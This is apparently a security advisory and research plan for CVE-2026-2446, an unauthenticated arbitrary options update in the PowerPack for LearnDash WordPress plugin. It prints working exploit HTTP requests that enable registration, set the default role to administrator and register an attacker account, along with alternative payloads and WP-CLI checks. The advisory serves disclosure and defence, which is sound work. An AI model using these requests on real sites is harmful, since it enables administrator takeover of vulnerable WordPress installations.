Powerpack for LearnDash <= 1.2.0 - Unauthenticated Arbitrary Options Update
Description
The PowerPack for LearnDash plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the [function-name] function in all versions up to, and including, 1.2.0. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.2.0What Changed in the Fix
Changes introduced in v1.3.0
Source Code
WordPress.org SVN# Vulnerability Analysis: CVE-2026-2446 - PowerPack for LearnDash Unauthenticated Arbitrary Options Update ## 1. Vulnerability Summary The **PowerPack for LearnDash** plugin (up to version 1.2.0) contains a critical vulnerability where the AJAX handler for saving class settings lacks both a capabil…
Show full research plan
Vulnerability Analysis: CVE-2026-2446 - PowerPack for LearnDash Unauthenticated Arbitrary Options Update
1. Vulnerability Summary
The PowerPack for LearnDash plugin (up to version 1.2.0) contains a critical vulnerability where the AJAX handler for saving class settings lacks both a capability check and nonce verification. This allows an unauthenticated attacker to trigger the update of arbitrary WordPress options by sending a crafted POST request to admin-ajax.php.
The vulnerability resides in the function associated with the AJAX action learndash_save_class_data_ajax. While the source code for the PHP handler itself was not provided, the client-side implementation in assets/js/admin/learndash-powerpack-custom-jquery-func.js and the vulnerability description confirm that user-supplied form data is processed and saved to the database without authorization.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
learndash_save_class_data_ajax - Parameters:
action:learndash_save_class_data_ajaxclass_name: A string identifier for the setting group (e.g.,LearnDash_PowerPack_Settings).formData: An array of objects, where each object contains aname(the WordPress option key) and avalue(the desired option value).
- Authentication: None (Unauthenticated). The plugin likely registers the hook via
wp_ajax_nopriv_learndash_save_class_data_ajax. - Preconditions: The plugin must be active.
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
wp-admin/admin-ajax.phpwith the actionlearndash_save_class_data_ajax. - AJAX Routing: WordPress routes the request to the handler registered by the plugin (inferred function name:
learndash_save_class_data_ajax). - Vulnerable Logic (Inferred):
- The handler receives the
formDataarray from$_POST. - The handler iterates through the elements of
formData. - For each element, it extracts
nameandvalue. - The Sink: The handler calls
update_option( $item['name'], $item['value'] )without verifying if the user hasmanage_optionscapabilities or if a valid nonce was provided.
- The handler receives the
- Impact: The attacker can overwrite core WordPress settings, such as
users_can_registeranddefault_role.
4. Nonce Acquisition Strategy
Based on the provided source code in assets/js/admin/learndash-powerpack-custom-jquery-func.js:
- The AJAX data object defined in the
.learndash_save_form_dataclick handler does not include a nonce parameter. - The localization object
learndash_powerpack_jquery_var(registered inclass-learndash-powerpack-admin-assets.php) only containsajax_urlandld_success_message. - Conclusion: The endpoint does not implement nonce verification. No nonce is required for exploitation.
5. Exploitation Strategy
Step 1: Enable Open Registration and Set Default Role to Admin
The goal is to allow anyone to register and ensure new users are granted the administrator role.
- HTTP Request (Playwright/http_request):
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=learndash_save_class_data_ajax&class_name=LearnDash_PowerPack_General_Settings&formData[0][name]=users_can_register&formData[0][value]=1&formData[1][name]=default_role&formData[1][value]=administrator
Step 2: Register a New Account
Once the options are updated, the attacker can use the standard WordPress registration endpoint.
- HTTP Request:
POST /wp-login.php?action=register HTTP/1.1 Content-Type: application/x-www-form-urlencoded user_login=attacker_admin&user_email=attacker@example.com&redirect_to=&wp-submit=Register
Step 3: Verify and Access
The attacker checks their email for the registration link (in a test environment, this can be bypassed or checked via WP-CLI) and logs in as a full administrator.
6. Test Data Setup
- Install and activate LearnDash LMS (dependency).
- Install and activate PowerPack for LearnDash version 1.2.0.
- Ensure
users_can_registeris initially0(default). - Ensure
default_roleis initiallysubscriber(default).
7. Expected Results
- The AJAX request should return a successful response (likely JSON containing
{"success": "success"}or similar based on the JS logic). - The WordPress options
users_can_registerwill be updated to1. - The WordPress option
default_rolewill be updated toadministrator.
8. Verification Steps
After performing the HTTP exploit, use WP-CLI to verify the state change:
# Check if registration is enabled
wp option get users_can_register
# Expected: 1
# Check the default role
wp option get default_role
# Expected: administrator
# (Optional) Verify the new user role if registered in Step 2
wp user list --role=administrator
9. Alternative Approaches
If the formData structure is parsed differently by the plugin (e.g., if it expects a flat key-value pair instead of the serializeArray format), try a flattened payload:
- Alternative Payload:
action=learndash_save_class_data_ajax&class_name=LearnDash_PowerPack_General_Settings&users_can_register=1&default_role=administrator
If the plugin filters which options can be updated based on the class_name (unlikely given the "arbitrary options" description), identify valid class names using:
grep -r "class LearnDash_PowerPack_" .
And substitute the class_name parameter with one found (e.g., LearnDash_PowerPack_Course_Settings).
Summary
The PowerPack for LearnDash plugin for WordPress (up to version 1.2.0) is vulnerable to an unauthenticated arbitrary options update. The AJAX handler for saving settings lacks capability checks and nonce verification, allowing any user to modify WordPress configuration settings, such as enabling registration and setting the default role to administrator.
Vulnerable Code
/* assets/js/admin/learndash-powerpack-custom-jquery-func.js lines 92-106 */ //ajax save classes data $(document.body).on( 'click', // eslint-disable-next-line max-len '.learndash_save_form_data', function (e) { e.preventDefault(); var current_element = $(this); var form = $('form.form_learndash_save_class_data'); var formData = form.serializeArray(); var data_class = $(this).attr('data-class'); var data = { 'action': 'learndash_save_class_data_ajax', 'class_name': data_class, 'formData': formData, }; --- /* includes/admin_assets/class-learndash-powerpack-admin-assets.php lines 68-76 */ wp_enqueue_script( 'learndash-powerpack-custom-jquery-func', LD_POWERPACK_PLUGIN_URL . '/assets/js/admin/learndash-powerpack-custom-jquery-func.js', [ 'jquery' ], time(), true ); wp_localize_script( 'learndash-powerpack-custom-jquery-func', 'learndash_powerpack_jquery_var', [ 'ajax_url' => admin_url( 'admin-ajax.php' ), 'ld_success_message' => esc_html__( 'Data saved successfully.', 'learndash-powerpack' ), ] );
Security Fix
@@ -101,6 +113,7 @@ 'action': 'learndash_save_class_data_ajax', 'class_name': dataClass, 'formData': formData, + 'nonce': modalNonce, }; $(current_element).closest('div.modal').find('.learndash-powerpack-modal-content').addClass('learndash_powerpack_ajax_loader_form'); $.post(learndash_powerpack_jquery_var.ajax_url, data, function (response) { @@ -34,6 +34,7 @@ ?> - <!-- The Modal --> - <div id="learndash-powerpack-modal" class="modal"> + <!-- The Modal --> + <div id="learndash-powerpack-modal" class="modal"> + <?php wp_nonce_field( 'learndash-powerpack-modal-nonce-' . get_current_user_id(), 'learndash-powerpack-modal-nonce' ); ?> <!-- Modal content -->
Exploit Outline
The exploit targets the `/wp-admin/admin-ajax.php` endpoint using the `learndash_save_class_data_ajax` action. An attacker sends a POST request without authentication or nonces. The payload includes a `formData` array containing key-value pairs where the keys are WordPress option names (e.g., 'users_can_register', 'default_role') and the values are the desired settings (e.g., '1', 'administrator'). Once these options are updated, the attacker can use the standard WordPress registration endpoint (`/wp-login.php?action=register`) to create a new account with administrative privileges.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.